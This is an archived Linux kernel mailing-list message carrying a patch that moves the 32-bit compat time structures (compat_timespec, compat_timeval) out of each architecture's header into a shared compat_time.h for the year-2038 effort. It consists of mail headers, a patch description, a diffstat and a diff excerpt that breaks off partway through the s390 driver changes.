 arch/arm64/kernel/process.c            |  1 -
 arch/mips/include/asm/compat.h         | 11 -------
 arch/mips/kernel/signal32.c            |  2 +-
 arch/parisc/include/asm/compat.h       | 11 -------
 arch/powerpc/include/asm/compat.h      | 11 -------
 arch/powerpc/kernel/asm-offsets.c      |  2 +-
 arch/powerpc/oprofile/backtrace.c      |  2 +-
 arch/s390/hypfs/hypfs_sprp.c           |  1 -
 arch/s390/include/asm/compat.h         | 11 -------
 arch/s390/include/asm/elf.h            |  4 +--
 arch/s390/kvm/priv.c                   |  1 -
 arch/s390/pci/pci_clp.c                |  1 -
 arch/sparc/include/asm/compat.h        | 11 -------
 arch/tile/include/asm/compat.h         | 11 -------
 arch/x86/events/core.c                 |  2 +-
 arch/x86/include/asm/compat.h          | 11 -------
 arch/x86/include/asm/ftrace.h          |  2 +-
 arch/x86/include/asm/sys_ia32.h        |  2 +-
 arch/x86/kernel/sys_x86_64.c           |  2 +-
 drivers/s390/block/dasd_ioctl.c        |  1 -
 drivers/s390/char/fs3270.c             |  1 -
 drivers/s390/char/sclp_ctl.c           |  1 -
 drivers/s390/char/vmcp.c               |  1 -
 drivers/s390/cio/chsc_sch.c            |  1 -
 drivers/s390/net/qeth_core_main.c      |  2 +-
 include/linux/compat.h                 | 11 ++++---
 include/linux/compat_time.h            | 23 ++++++++++++++
 include/linux/restart_block.h          |  7 ++--
 include/linux/syscalls.h               | 12 +++----
 include/linux/time.h                   |  4 +--
 include/linux/time64.h                 | 10 +++++-
 include/uapi/asm-generic/posix_types.h |  1 +
 include/uapi/linux/time.h              |  7 ++++
 kernel/compat.c                        | 52 +++++-------------------------
 kernel/time/hrtimer.c                  | 10 ++++--
 kernel/time/posix-stubs.c              | 12 ++++---
 kernel/time/posix-timers.c             | 24 ++++++++++----
 kernel/time/time.c                     | 58 +++++++++++++++++++++++++++++++---
 43 files changed, 177 insertions(+), 190 deletions(-)
 create mode 100644 include/linux/compat_time.h


base-commit: 61530b14b059d4838dcc2186e9de9d57e195ce55
-- 
2.14.1

Cc: acme@kernel.org
Cc: benh@kernel.crashing.org
Cc: borntraeger@de.ibm.com
Cc: catalin.marinas@arm.com
Cc: cmetcalf@mellanox.com
Cc: cohuck@redhat.com
Cc: davem@davemloft.net
Cc: deller@gmx.de
Cc: devel@driverdev.osuosl.org
Cc: gerald.schaefer@de.ibm.com
Cc: gregkh@linuxfoundation.org
Cc: heiko.carstens@de.ibm.com
Cc: hoeppner@linux.vnet.ibm.com
Cc: hpa@zytor.com
Cc: jejb@parisc-linux.org
Cc: jwi@linux.vnet.ibm.com
Cc: linux-api@vger.kernel.org
Cc: linux-arch@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: mark.rutland@arm.com
Cc: mingo@redhat.com
Cc: mpe@ellerman.id.au
Cc: oberpar@linux.vnet.ibm.com
Cc: oprofile-list@lists.sf.net
Cc: paulus@samba.org
Cc: peterz@infradead.org
Cc: ralf@linux-mips.org
Cc: rostedt@goodmis.org
Cc: rric@kernel.org
Cc: schwidefsky@de.ibm.com
Cc: sebott@linux.vnet.ibm.com
Cc: sparclinux@vger.kernel.org
Cc: sth@linux.vnet.ibm.com
Cc: ubraun@linux.vnet.ibm.com
Cc: will.deacon@arm.com
Cc: x86@kernel.org

From - Thu Nov 08 21:41:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Deepa Dinamani <deepa.kernel@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.year-2038,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.oprofile,gmane.linux.ports.sparc
Subject: [PATCH v4 02/10] include: Move compat_timespec/ timeval to compat_time.h
Date: Mon, 12 Mar 2018 10:52:59 -0700
Lines: 673
Approved: news@gmane.org
Message-ID: <20180312175307.11032-3-deepa.kernel@gmail.com>
References: <20180312175307.11032-1-deepa.kernel@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1520877123 22406 195.159.176.226 (12 Mar 2018 17:52:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 12 Mar 2018 17:52:03 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, y2038@lists.linaro.org,
        acme@kernel.org, benh@kernel.crashing.org, borntraeger@de.ibm.com,
        catalin.marinas@arm.com, cmetcalf@mellanox.com, cohuck@redhat.com,
        davem@davemloft.net, deller@gmx.de, devel@driverdev.osuosl.org,
        gerald.schaefer@de.ibm.com, gregkh@linuxfoundation.org,
        heiko.carstens@de.ibm.com, hoeppner@linux.vnet.ibm.com,
        hpa@zytor.com, jejb@parisc-linux.org, jwi@linux.vnet.ibm.com,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        mark.rutland@arm.com, mingo@redhat.com, mpe@ellerman.id.au,
        oberpar@linux.vnet.ibm.com, oprofile-list@lists.sf.net,
        paulus@samba.org, peterz@infradead.org, ralf@linux-mips.org,
        rostedt@goodmis.org, rric@kernel.org, schwidefsky@de.ibm.com,
        sebott@linu
To: arnd@arndb.de, tglx@linutronix.de, john.stultz@linaro.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Mar 12 18:51:55 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1evRc1-0005a3-4c
	for glk-linux-kernel-4@m.gmane.org; Mon, 12 Mar 2018 18:51:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932767AbeCLRx5 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 12 Mar 2018 13:53:57 -0400
Original-Received: from mail-pf0-f196.google.com ([209.85.192.196]:43860 "EHLO
        mail-pf0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932231AbeCLRxx (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 12 Mar 2018 13:53:53 -0400
Original-Received: by mail-pf0-f196.google.com with SMTP id j2so4668593pff.10;
        Mon, 12 Mar 2018 10:53:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=A/oOApaGWr+iqXGhKYuwk4qHPW68mAtEk9WIMQQRIlQ=;
        b=iHqZ3BZk+ZdvXLzVz5qSNYM/NEIkeUuSE5MSQpKywihkPiJP75/Y8h/KvXJ2vQHsl8
         BOE5ig7ZOfrPeyeq5ZyaEqLAE5oa7vpI/laxoRhMZqUNuG+pMdODVY5BhKQUmEIKCTVR
         /OELT5s0DSHNCLMdaXbonDJBbFJ1RhdUJinjB6BzdwcrhPzViwDscJeNFnebtVER9Wm4
         tCCWtDb390k6ZqFeCPlCi4rPI023JNWuBslTDblHSAK9cuzjsH52KYo9Ka1XBWMANwcM
         vC5HEiBro7CAu9yhlH6fpzbIirAHRclG8gYzhqLInULoD7lTdpeb80qheVQcAtLNtiz9
         Lb/g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=A/oOApaGWr+iqXGhKYuwk4qHPW68mAtEk9WIMQQRIlQ=;
        b=c14zAtYMmuZdrwOGd2YvrsYrgvx8/gLiMfTut4LMJKKoXrP5JC9vEuhWGW4WN+fmoe
         OdsqZk+NwgTyfzitgw9tPzwQwTREJNN+dqewoxewTz0ebirZ7nmFy18smsXtMo80gA9g
         rOYilMigjFTMx+pAvUESPlWdWEr7b8dqigo/bLeDCzp7kdtuOKfdg55V02De1YOUAkYc
         D8lMq6R9ehYxiApmQ4Mf/5q5k7QtljcXS6iwAoXA68xFOGQkYBTRziasNLkw6pIw6yY8
         2A6YEDOYX9YYppHwwdbq3zNB7ntvrtuxk/Mf6oQIl/aGhwDYmPmzCmeTUK9VACHtt/lS
         PVtA==
X-Gm-Message-State: AElRT7EtRILmPn46htaZDaE6bT1tAQkI8vIar/FOJ5aoWp4H+A8jKlM6
        SkEl2zigF2n2ZE6Dt0twsaU=
X-Google-Smtp-Source: AG47ELuoBjNKYHrWokng5m9yA1VLZZA8eV7tJpM737T7c9t7lwj648XT5fMV4feAMQQhPJ0f4dj5Ng==
X-Received: by 10.101.101.5 with SMTP id x5mr7247643pgv.195.1520877232551;
        Mon, 12 Mar 2018 10:53:52 -0700 (PDT)
Original-Received: from deepa-ubuntu.lan (c-67-170-212-194.hsd1.ca.comcast.net. [67.170.212.194])
        by smtp.gmail.com with ESMTPSA id l64sm18906810pfi.142.2018.03.12.10.53.49
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 12 Mar 2018 10:53:51 -0700 (PDT)
X-Mailer: git-send-email 2.14.1
In-Reply-To: <20180312175307.11032-1-deepa.kernel@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2711233 gmane.linux.kernel.year-2038:2530 gmane.linux.ports.mips.general:63993 gmane.linux.ports.parisc:28315 gmane.linux.ports.ppc64.devel:154290 gmane.linux.oprofile:13163 gmane.linux.ports.sparc:27408
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2711233>

All the current architecture specific defines for these
are the same. Refactor these common defines to a common
header file.

The new common linux/compat_time.h is also useful as it
will eventually be used to hold all the defines that
are needed for compat time types that support non y2038
safe types. New architectures need not have to define these
new types as they will only use new y2038 safe syscalls.
This file can be deleted after y2038 when we stop supporting
non y2038 safe syscalls.

The patch also requires an operation similar to:

git grep "asm/compat\.h" | cut -d ":" -f 1 |  xargs -n 1 sed -i -e "s%asm/compat.h%linux/compat.h%g"

Cc: acme@kernel.org
Cc: benh@kernel.crashing.org
Cc: borntraeger@de.ibm.com
Cc: catalin.marinas@arm.com
Cc: cmetcalf@mellanox.com
Cc: cohuck@redhat.com
Cc: davem@davemloft.net
Cc: deller@gmx.de
Cc: devel@driverdev.osuosl.org
Cc: gerald.schaefer@de.ibm.com
Cc: gregkh@linuxfoundation.org
Cc: heiko.carstens@de.ibm.com
Cc: hoeppner@linux.vnet.ibm.com
Cc: hpa@zytor.com
Cc: jejb@parisc-linux.org
Cc: jwi@linux.vnet.ibm.com
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: mark.rutland@arm.com
Cc: mingo@redhat.com
Cc: mpe@ellerman.id.au
Cc: oberpar@linux.vnet.ibm.com
Cc: oprofile-list@lists.sf.net
Cc: paulus@samba.org
Cc: peterz@infradead.org
Cc: ralf@linux-mips.org
Cc: rostedt@goodmis.org
Cc: rric@kernel.org
Cc: schwidefsky@de.ibm.com
Cc: sebott@linux.vnet.ibm.com
Cc: sparclinux@vger.kernel.org
Cc: sth@linux.vnet.ibm.com
Cc: ubraun@linux.vnet.ibm.com
Cc: will.deacon@arm.com
Cc: x86@kernel.org
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Signed-off-by: Deepa Dinamani <deepa.kernel@gmail.com>
Acked-by: Steven Rostedt (VMware) <rostedt@goodmis.org>
Acked-by: Catalin Marinas <catalin.marinas@arm.com>
Acked-by: James Hogan <jhogan@kernel.org>
Acked-by: Helge Deller <deller@gmx.de>
---
 arch/arm64/include/asm/compat.h   | 11 -----------
 arch/arm64/include/asm/stat.h     |  1 +
 arch/arm64/kernel/hw_breakpoint.c |  1 -
 arch/arm64/kernel/perf_regs.c     |  2 +-
 arch/arm64/kernel/process.c       |  1 -
 arch/mips/include/asm/compat.h    | 11 -----------
 arch/mips/kernel/signal32.c       |  2 +-
 arch/parisc/include/asm/compat.h  | 11 -----------
 arch/powerpc/include/asm/compat.h | 11 -----------
 arch/powerpc/kernel/asm-offsets.c |  2 +-
 arch/powerpc/oprofile/backtrace.c |  2 +-
 arch/s390/hypfs/hypfs_sprp.c      |  1 -
 arch/s390/include/asm/compat.h    | 11 -----------
 arch/s390/include/asm/elf.h       |  4 ++--
 arch/s390/kvm/priv.c              |  1 -
 arch/s390/pci/pci_clp.c           |  1 -
 arch/sparc/include/asm/compat.h   | 11 -----------
 arch/tile/include/asm/compat.h    | 11 -----------
 arch/x86/events/core.c            |  2 +-
 arch/x86/include/asm/compat.h     | 11 -----------
 arch/x86/include/asm/ftrace.h     |  2 +-
 arch/x86/include/asm/sys_ia32.h   |  2 +-
 arch/x86/kernel/sys_x86_64.c      |  2 +-
 drivers/s390/block/dasd_ioctl.c   |  1 -
 drivers/s390/char/fs3270.c        |  1 -
 drivers/s390/char/sclp_ctl.c      |  1 -
 drivers/s390/char/vmcp.c          |  1 -
 drivers/s390/cio/chsc_sch.c       |  1 -
 drivers/s390/net/qeth_core_main.c |  2 +-
 include/linux/compat.h            |  1 +
 include/linux/compat_time.h       | 19 +++++++++++++++++++
 31 files changed, 32 insertions(+), 109 deletions(-)
 create mode 100644 include/linux/compat_time.h

diff --git a/arch/arm64/include/asm/compat.h b/arch/arm64/include/asm/compat.h
index c00c62e1a4a3..0030f79808b3 100644
--- a/arch/arm64/include/asm/compat.h
+++ b/arch/arm64/include/asm/compat.h
@@ -34,7 +34,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u16		__compat_uid_t;
@@ -66,16 +65,6 @@ typedef u32		compat_ulong_t;
 typedef u64		compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 #ifdef __AARCH64EB__
 	short		st_dev;
diff --git a/arch/arm64/include/asm/stat.h b/arch/arm64/include/asm/stat.h
index 15e35598ac40..eab738019707 100644
--- a/arch/arm64/include/asm/stat.h
+++ b/arch/arm64/include/asm/stat.h
@@ -20,6 +20,7 @@
 
 #ifdef CONFIG_COMPAT
 
+#include <linux/compat_time.h>
 #include <asm/compat.h>
 
 /*
diff --git a/arch/arm64/kernel/hw_breakpoint.c b/arch/arm64/kernel/hw_breakpoint.c
index 74bb56f656ef..413dbe530da8 100644
--- a/arch/arm64/kernel/hw_breakpoint.c
+++ b/arch/arm64/kernel/hw_breakpoint.c
@@ -30,7 +30,6 @@
 #include <linux/smp.h>
 #include <linux/uaccess.h>
 
-#include <asm/compat.h>
 #include <asm/current.h>
 #include <asm/debug-monitors.h>
 #include <asm/hw_breakpoint.h>
diff --git a/arch/arm64/kernel/perf_regs.c b/arch/arm64/kernel/perf_regs.c
index 1d091d048d04..0bbac612146e 100644
--- a/arch/arm64/kernel/perf_regs.c
+++ b/arch/arm64/kernel/perf_regs.c
@@ -1,11 +1,11 @@
 // SPDX-License-Identifier: GPL-2.0
+#include <linux/compat.h>
 #include <linux/errno.h>
 #include <linux/kernel.h>
 #include <linux/perf_event.h>
 #include <linux/bug.h>
 #include <linux/sched/task_stack.h>
 
-#include <asm/compat.h>
 #include <asm/perf_regs.h>
 #include <asm/ptrace.h>
 
diff --git a/arch/arm64/kernel/process.c b/arch/arm64/kernel/process.c
index c0da6efe5465..a725e81d0063 100644
--- a/arch/arm64/kernel/process.c
+++ b/arch/arm64/kernel/process.c
@@ -51,7 +51,6 @@
 #include <linux/thread_info.h>
 
 #include <asm/alternative.h>
-#include <asm/compat.h>
 #include <asm/cacheflush.h>
 #include <asm/exec.h>
 #include <asm/fpsimd.h>
diff --git a/arch/mips/include/asm/compat.h b/arch/mips/include/asm/compat.h
index 9a0fa66b81ac..3e548ee99a2f 100644
--- a/arch/mips/include/asm/compat.h
+++ b/arch/mips/include/asm/compat.h
@@ -14,7 +14,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_suseconds_t;
 
@@ -46,16 +45,6 @@ typedef u32		compat_ulong_t;
 typedef u64		compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	s32		st_pad1[3];
diff --git a/arch/mips/kernel/signal32.c b/arch/mips/kernel/signal32.c
index c4db910a8794..b5d9e1784aff 100644
--- a/arch/mips/kernel/signal32.c
+++ b/arch/mips/kernel/signal32.c
@@ -8,13 +8,13 @@
  * Copyright (C) 1999, 2000 Silicon Graphics, Inc.
  * Copyright (C) 2016, Imagination Technologies Ltd.
  */
+#include <linux/compat.h>
 #include <linux/compiler.h>
 #include <linux/errno.h>
 #include <linux/kernel.h>
 #include <linux/signal.h>
 #include <linux/syscalls.h>
 
-#include <asm/compat.h>
 #include <asm/compat-signal.h>
 #include <linux/uaccess.h>
 #include <asm/unistd.h>
diff --git a/arch/parisc/include/asm/compat.h b/arch/parisc/include/asm/compat.h
index c22db5323244..6f256e7b95e3 100644
--- a/arch/parisc/include/asm/compat.h
+++ b/arch/parisc/include/asm/compat.h
@@ -13,7 +13,6 @@
 
 typedef u32	compat_size_t;
 typedef s32	compat_ssize_t;
-typedef s32	compat_time_t;
 typedef s32	compat_clock_t;
 typedef s32	compat_pid_t;
 typedef u32	__compat_uid_t;
@@ -40,16 +39,6 @@ typedef u32	compat_ulong_t;
 typedef u64	compat_u64;
 typedef u32	compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t		tv_sec;
-	s32			tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t		tv_sec;
-	s32			tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t		st_dev;	/* dev_t is 32 bits on parisc */
 	compat_ino_t		st_ino;	/* 32 bits */
diff --git a/arch/powerpc/include/asm/compat.h b/arch/powerpc/include/asm/compat.h
index 62168e1158f1..b4773c81f7d5 100644
--- a/arch/powerpc/include/asm/compat.h
+++ b/arch/powerpc/include/asm/compat.h
@@ -17,7 +17,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u32		__compat_uid_t;
@@ -45,16 +44,6 @@ typedef u32		compat_ulong_t;
 typedef u64		compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	compat_ino_t	st_ino;
diff --git a/arch/powerpc/kernel/asm-offsets.c b/arch/powerpc/kernel/asm-offsets.c
index ea5eb91b836e..4a314620344f 100644
--- a/arch/powerpc/kernel/asm-offsets.c
+++ b/arch/powerpc/kernel/asm-offsets.c
@@ -13,6 +13,7 @@
  * 2 of the License, or (at your option) any later version.
  */
 
+#include <linux/compat.h>
 #include <linux/signal.h>
 #include <linux/sched.h>
 #include <linux/kernel.h>
@@ -42,7 +43,6 @@
 #include <asm/paca.h>
 #include <asm/lppaca.h>
 #include <asm/cache.h>
-#include <asm/compat.h>
 #include <asm/mmu.h>
 #include <asm/hvcall.h>
 #include <asm/xics.h>
diff --git a/arch/powerpc/oprofile/backtrace.c b/arch/powerpc/oprofile/backtrace.c
index ecc66d5f02c9..11ff763c03ad 100644
--- a/arch/powerpc/oprofile/backtrace.c
+++ b/arch/powerpc/oprofile/backtrace.c
@@ -11,7 +11,7 @@
 #include <linux/sched.h>
 #include <asm/processor.h>
 #include <linux/uaccess.h>
-#include <asm/compat.h>
+#include <linux/compat.h>
 #include <asm/oprofile_impl.h>
 
 #define STACK_SP(STACK)		*(STACK)
diff --git a/arch/s390/hypfs/hypfs_sprp.c b/arch/s390/hypfs/hypfs_sprp.c
index ae0ed8dd5f1b..5d85a039391c 100644
--- a/arch/s390/hypfs/hypfs_sprp.c
+++ b/arch/s390/hypfs/hypfs_sprp.c
@@ -13,7 +13,6 @@
 #include <linux/string.h>
 #include <linux/types.h>
 #include <linux/uaccess.h>
-#include <asm/compat.h>
 #include <asm/diag.h>
 #include <asm/sclp.h>
 #include "hypfs.h"
diff --git a/arch/s390/include/asm/compat.h b/arch/s390/include/asm/compat.h
index 9830fb6b076e..501aaff85304 100644
--- a/arch/s390/include/asm/compat.h
+++ b/arch/s390/include/asm/compat.h
@@ -53,7 +53,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u16		__compat_uid_t;
@@ -97,16 +96,6 @@ typedef struct {
 	u32 gprs_high[NUM_GPRS];
 } s390_compat_regs_high;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	u16		__pad1;
diff --git a/arch/s390/include/asm/elf.h b/arch/s390/include/asm/elf.h
index 1a61b1b997f2..7d22a474a040 100644
--- a/arch/s390/include/asm/elf.h
+++ b/arch/s390/include/asm/elf.h
@@ -125,8 +125,9 @@
  * ELF register definitions..
  */
 
+#include <linux/compat.h>
+
 #include <asm/ptrace.h>
-#include <asm/compat.h>
 #include <asm/syscall.h>
 #include <asm/user.h>
 
@@ -136,7 +137,6 @@ typedef s390_regs elf_gregset_t;
 typedef s390_fp_regs compat_elf_fpregset_t;
 typedef s390_compat_regs compat_elf_gregset_t;
 
-#include <linux/compat.h>
 #include <linux/sched/mm.h>	/* for task_struct */
 #include <asm/mmu_context.h>
 
diff --git a/arch/s390/kvm/priv.c b/arch/s390/kvm/priv.c
index ebfa0442e569..a3bce0e84346 100644
--- a/arch/s390/kvm/priv.c
+++ b/arch/s390/kvm/priv.c
@@ -26,7 +26,6 @@
 #include <asm/gmap.h>
 #include <asm/io.h>
 #include <asm/ptrace.h>
-#include <asm/compat.h>
 #include <asm/sclp.h>
 #include "gaccess.h"
 #include "kvm-s390.h"
diff --git a/arch/s390/pci/pci_clp.c b/arch/s390/pci/pci_clp.c
index 93cd0f1ca12b..19b2d2a9b43d 100644
--- a/arch/s390/pci/pci_clp.c
+++ b/arch/s390/pci/pci_clp.c
@@ -19,7 +19,6 @@
 #include <linux/uaccess.h>
 #include <asm/pci_debug.h>
 #include <asm/pci_clp.h>
-#include <asm/compat.h>
 #include <asm/clp.h>
 #include <uapi/asm/clp.h>
 
diff --git a/arch/sparc/include/asm/compat.h b/arch/sparc/include/asm/compat.h
index 615283e16f22..844a89739e76 100644
--- a/arch/sparc/include/asm/compat.h
+++ b/arch/sparc/include/asm/compat.h
@@ -11,7 +11,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u16		__compat_uid_t;
@@ -39,16 +38,6 @@ typedef u32		compat_ulong_t;
 typedef u64		compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	compat_ino_t	st_ino;
diff --git a/arch/tile/include/asm/compat.h b/arch/tile/include/asm/compat.h
index 769ff6ac0bf5..06188e0da2de 100644
--- a/arch/tile/include/asm/compat.h
+++ b/arch/tile/include/asm/compat.h
@@ -29,7 +29,6 @@ typedef u32		compat_ulong_t;
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
 typedef s32		compat_off_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef u32		compat_ino_t;
 typedef u32		compat_caddr_t;
@@ -59,16 +58,6 @@ typedef unsigned long compat_elf_greg_t;
 #define COMPAT_ELF_NGREG (sizeof(struct pt_regs) / sizeof(compat_elf_greg_t))
 typedef compat_elf_greg_t compat_elf_gregset_t[COMPAT_ELF_NGREG];
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 #define compat_stat stat
 #define compat_statfs statfs
 
diff --git a/arch/x86/events/core.c b/arch/x86/events/core.c
index 140d33288e78..6b8961912781 100644
--- a/arch/x86/events/core.c
+++ b/arch/x86/events/core.c
@@ -2391,7 +2391,7 @@ static unsigned long get_segment_base(unsigned int segment)
 
 #ifdef CONFIG_IA32_EMULATION
 
-#include <asm/compat.h>
+#include <linux/compat.h>
 
 static inline int
 perf_callchain_user32(struct pt_regs *regs, struct perf_callchain_entry_ctx *entry)
diff --git a/arch/x86/include/asm/compat.h b/arch/x86/include/asm/compat.h
index e1c8dab86670..7cd314b71c51 100644
--- a/arch/x86/include/asm/compat.h
+++ b/arch/x86/include/asm/compat.h
@@ -17,7 +17,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u16		__compat_uid_t;
@@ -46,16 +45,6 @@ typedef u32		compat_u32;
 typedef u64 __attribute__((aligned(4))) compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	u16		__pad1;
diff --git a/arch/x86/include/asm/ftrace.h b/arch/x86/include/asm/ftrace.h
index 09ad88572746..db25aa15b705 100644
--- a/arch/x86/include/asm/ftrace.h
+++ b/arch/x86/include/asm/ftrace.h
@@ -49,7 +49,7 @@ int ftrace_int3_handler(struct pt_regs *regs);
 #if !defined(__ASSEMBLY__) && !defined(COMPILE_OFFSETS)
 
 #if defined(CONFIG_FTRACE_SYSCALLS) && defined(CONFIG_IA32_EMULATION)
-#include <asm/compat.h>
+#include <linux/compat.h>
 
 /*
  * Because ia32 syscalls do not map to x86_64 syscall numbers
diff --git a/arch/x86/include/asm/sys_ia32.h b/arch/x86/include/asm/sys_ia32.h
index 82c34ee25a65..8c4083dcd901 100644
--- a/arch/x86/include/asm/sys_ia32.h
+++ b/arch/x86/include/asm/sys_ia32.h
@@ -12,11 +12,11 @@
 
 #ifdef CONFIG_COMPAT
 
+#include <linux/compat.h>
 #include <linux/compiler.h>
 #include <linux/linkage.h>
 #include <linux/types.h>
 #include <linux/signal.h>
-#include <asm/compat.h>
 #include <asm/ia32.h>
 
 /* ia32/sys_ia32.c */
diff --git a/arch/x86/kernel/sys_x86_64.c b/arch/x86/kernel/sys_x86_64.c
index 676774b9bb8d..6cba5755958c 100644
--- a/arch/x86/kernel/sys_x86_64.c
+++ b/arch/x86/kernel/sys_x86_64.c
@@ -1,4 +1,5 @@
 // SPDX-License-Identifier: GPL-2.0
+#include <linux/compat.h>
 #include <linux/errno.h>
 #include <linux/sched.h>
 #include <linux/sched/mm.h>
@@ -19,7 +20,6 @@
 #include <linux/elf.h>
 
 #include <asm/elf.h>
-#include <asm/compat.h>
 #include <asm/ia32.h>
 #include <asm/syscalls.h>
 #include <asm/mpx.h>
diff --git a/drivers/s390/block/dasd_ioctl.c b/drivers/s390/block/dasd_ioctl.c
index 7bdc6aaa0ba3..2016e0ed5865 100644
--- a/drivers/s390/block/dasd_ioctl.c
+++ b/drivers/s390/block/dasd_ioctl.c
@@ -18,7 +18,6 @@
 #include <linux/fs.h>
 #include <linux/blkpg.h>
 #include <linux/slab.h>
-#include <asm/compat.h>
 #include <asm/ccwdev.h>
 #include <asm/schid.h>
 #include <asm/cmb.h>
diff --git a/drivers/s390/char/fs3270.c b/drivers/s390/char/fs3270.c
index 61822480a2a0..16a4e8528bbc 100644
--- a/drivers/s390/char/fs3270.c
+++ b/drivers/s390/char/fs3270.c
@@ -19,7 +19,6 @@
 #include <linux/slab.h>
 #include <linux/types.h>
 
-#include <asm/compat.h>
 #include <asm/ccwdev.h>
 #include <asm/cio.h>
 #include <asm/ebcdic.h>
diff --git a/drivers/s390/char/sclp_ctl.c b/drivers/s390/char/sclp_ctl.c
index a78cea0c3a09..248b5db3eaa8 100644
--- a/drivers/s390/char/sclp_ctl.c
+++ b/drivers/s390/char/sclp_ctl.c
@@ -14,7 +14,6 @@
 #include <linux/init.h>
 #include <linux/ioctl.h>
 #include <linux/fs.h>
-#include <asm/compat.h>
 #include <asm/sclp_ctl.h>
 #include <asm/sclp.h>
 
diff --git a/drivers/s390/char/vmcp.c b/drivers/s390/char/vmcp.c
index 17e411c57576..948ce82a7725 100644
--- a/drivers/s390/char/vmcp.c
+++ b/drivers/s390/char/vmcp.c
@@ -23,7 +23,6 @@
